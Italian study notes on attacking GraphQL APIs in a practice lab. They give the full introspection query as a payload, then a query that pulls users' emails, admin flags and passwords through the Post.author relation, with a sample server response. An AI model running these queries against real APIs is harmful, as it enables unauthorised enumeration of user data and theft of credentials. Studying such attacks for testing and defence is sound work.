tags: GraphQL GraphQL_Introspezione Collegamenti_Vulnerabili


Per introspezione si intende la possibilità di vedere la struttura logica di tutta l’api, questa funzionalità viene utilizzata dagli sviluppatori per capire velocemente le strutture delle api senza bisogno di fonti esterne che nella produzione può risparmiare molto tempo, nel caso in cui questa funzionalità non fosse protetta e quindi utilizzabile da chiunque comporterebbe un grave rischio per l’applicazione perchè un attaccante potrebbe richiedere la struttura dell’api per poi studiarla e fare attacchi mirati a determinati campi.

Se per esempio un form di login avesse questa struttura come richiesta:

Sarebbe possibile utilizzare questo payload:

query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } locations } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }

Per ottenere tutta la struttura dell’api:

Una volta ottenuta la struttura possiamo incollarla in questo software https://apis.guru/graphql-voyager/ per ottenere uno schema visivo della struttura dell’api (non copiare i campi della richiesta http, copia solo il contenuto dell’api):

Una volta ottenuta la struttura possiamo fare richieste mirate ed ottenere informazioni importanti, per vedere come fare le richiesta guarda questa pagina Richieste base.

Collegamenti vulnerabili

Una delle cose più importanti di questa pratica sta nel fatto che in questo modo possiamo vedere i collegamenti tra le tabelle, per esempio in questa esercitazione la tabella user è protetta (non è vero, ma facciamo finta per capire il meccanismo), mentre la tabella post no. Siccome però nella tabella Post l’oggetto author è definito dalla tabella User noi possiamo richiedere oggetti della tabella user attraverso una richiesta fatta alla tabella Post ottenendo così informazioni dalla tabella User anche se teoricamente protetta.

Gemini te lo spiega ancora meglio così:

In GraphQL, i dati sono collegati come in una ragnatela (un grafo). Anche se gli sviluppatori cercano di “proteggere” la porta principale (la query users), spesso dimenticano che gli stessi dati sono accessibili da altre strade.

  • Il percorso: Tu non hai chiesto “Dammi la lista utenti” (che forse è filtrata o protetta). Hai chiesto: “Dammi tutti i post e, per ogni post, dimmi chi è l’autore e qual è la sua email”.

  • Relazioni Aperte: Dallo schema che hai postato, l’oggetto Post ha un campo author di tipo User. Il “resolver” (la funzione che recupera i dati nel backend) per il campo author probabilmente fa una semplice operazione: SELECT * FROM users WHERE id = post.author_id.

  • Risultato: Se nel database ci sono post scritti da Bob, Alice e altri, interrogando tutti i post il server è “costretto” a recuperare i dati degli utenti associati per completare la tua richiesta. È un modo per enumerare gli utenti “di rimbalzo”.

Quindi sempre in questo esempio ci basta utilizzare questo payload:

{
  "query": "{ posts { title author { username email is_admin} } }"
}

Per ottenere informazioni dalla tabella User, in questo caso otteniamo username, email e is_admin dalla tabella user:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 474
ETag: W/"1da-4vjp8mU6YyF5ZqD4a/ovYAnWLV0"
Date: Fri, 19 Dec 2025 14:13:36 GMT
Connection: keep-alive
Keep-Alive: timeout=5
 
{"data":{"posts":[{"title":"Exploring SQL Injection","author":{"username":"bob","email":"[email protected]","is_admin":true}},{"title":"Top 5 Cybersecurity Tips","author":{"username":"charlie","email":"[email protected]","is_admin":false}},{"title":"Understanding GraphQL","author":{"username":"diana","email":"[email protected]","is_admin":true}},{"title":"Best Practices in Penetration Testing","author":{"username":"flag","email":"[email protected]","is_admin":false}}]}}
 

Se volessimo ottenere per esempio anche il campo passoword ci basterebbe aggiungerlo in questo modo:

{
  "query": "{ posts { title author { username email is_admin password} } }"
}